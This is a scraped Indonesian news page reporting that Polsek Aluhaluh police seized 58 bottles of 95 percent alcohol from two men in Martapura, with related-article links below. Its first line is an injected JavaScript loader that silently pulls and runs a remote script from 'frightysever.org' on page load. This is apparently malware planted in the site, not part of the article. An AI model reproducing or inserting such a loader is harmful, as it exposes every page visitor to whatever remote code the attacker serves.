(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tekan penyalahgunaan alkohol menjadi miras (minuman keras) oplosan, personil Polsek Aluhaluh mengamankan dua orang laki-laki penjual alkohol, dalam giat Operasi Pekat, Selasa (9/3/2021) siang.
Dua orang laki-laki tersebut merupakan warga Desa Aluhaluh Besar, yakni AN (46) dan WN alias YT (50). Ada 58 botol alkohol 95 persen isi 100 mililiter yang berhasil diamankan.
Baca juga: Jatam Pertanyakan Gugatan Keterbukaan Informasi Perpanjangan 5 Perusahaan Tambang
“48 botol alkohol cap Gajah isi 100 mililiter 95 persen didapat di tempat saudara AN, sedangkan 10 botol alkohol 95 persen lainnya dari saudara WN alias YT,” kata Kapolsek Aluhaluh, Iptu Simon Jumadi, Rabu (10/3/2021). Kedua pelaku diamankan ke Polsek Aluhaluh untuk dilakukan proses lebih lanjut. (kanalkalimantan.com/wahyu)
Reporter : wahyu
Editor : bie
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
This website uses cookies.